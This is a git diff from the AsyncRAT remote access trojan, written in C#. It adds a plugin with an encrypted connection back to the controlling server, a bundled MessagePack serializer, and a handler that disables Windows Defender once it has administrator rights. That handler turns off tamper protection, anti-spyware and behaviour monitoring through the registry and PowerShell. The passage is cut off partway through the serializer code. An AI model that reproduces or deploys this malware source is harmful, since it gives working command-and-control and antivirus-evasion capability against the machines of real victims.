+[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("ee03faa9-c9e8-4766-bd4e-5cd54c7f13d3")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/Extra/Extra.sln b/AsyncRAT-C#/Plugin/Extra/Extra.sln new file mode 100644 index 0000000..6e7d494 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Extra", "Extra\Extra.csproj", "{424B81BE-2FAC-419F-B4BC-00CCBE38491F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {4987DF63-DF17-42CF-AB54-BDFDA9768CF0} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs new file mode 100644 index 0000000..70a0271 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs @@ -0,0 +1,211 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient(byte[] packet) + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + Packet.Read(packet); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj b/AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj new file mode 100644 index 0000000..8dab0b2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj @@ -0,0 +1,57 @@ + + + + + Debug + AnyCPU + {424B81BE-2FAC-419F-B4BC-00CCBE38491F} + Library + Properties + Plugin + Extra + v4.0 + 512 + true + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Handler/HandleDisableDefender.cs similarity index 89% rename from AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs rename to AsyncRAT-C#/Plugin/Extra/Extra/Handler/HandleDisableDefender.cs index e6c9f27..5d678e2 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Handler/HandleDisableDefender.cs @@ -1,23 +1,20 @@ -using System; -using Microsoft.Win32; +using Microsoft.Win32; +using System; +using System.Collections.Generic; using System.Diagnostics; +using System.Linq; using System.Security.Principal; -using Client.Helper; +using System.Text; -// │ Author : NYAN CAT -// │ Name : Disable Windows Defender v1.0 -// │ Contact : https://github.com/NYAN-x-CAT - -// This program is distributed for educational purposes only. - -namespace Client.Handle_Packet +namespace Plugin.Handler { - public class HandleWindowsDefender + class HandleDisableDefender { - public HandleWindowsDefender() + public void Run() { - if (!Methods.IsAdmin()) return; - + Debug.WriteLine("Plugin Invoked"); + if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return; + RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6 RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1"); RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1"); @@ -27,7 +24,7 @@ namespace Client.Handle_Packet CheckDefender(); } - private static void RegistryEdit(string regPath, string name, string value) + private void RegistryEdit(string regPath, string name, string value) { try { @@ -45,7 +42,7 @@ namespace Client.Handle_Packet catch { } } - private static void CheckDefender() + private void CheckDefender() { Process proc = new Process { @@ -111,7 +108,7 @@ namespace Client.Handle_Packet } } - private static void RunPS(string args) + private void RunPS(string args) { Process proc = new Process { diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 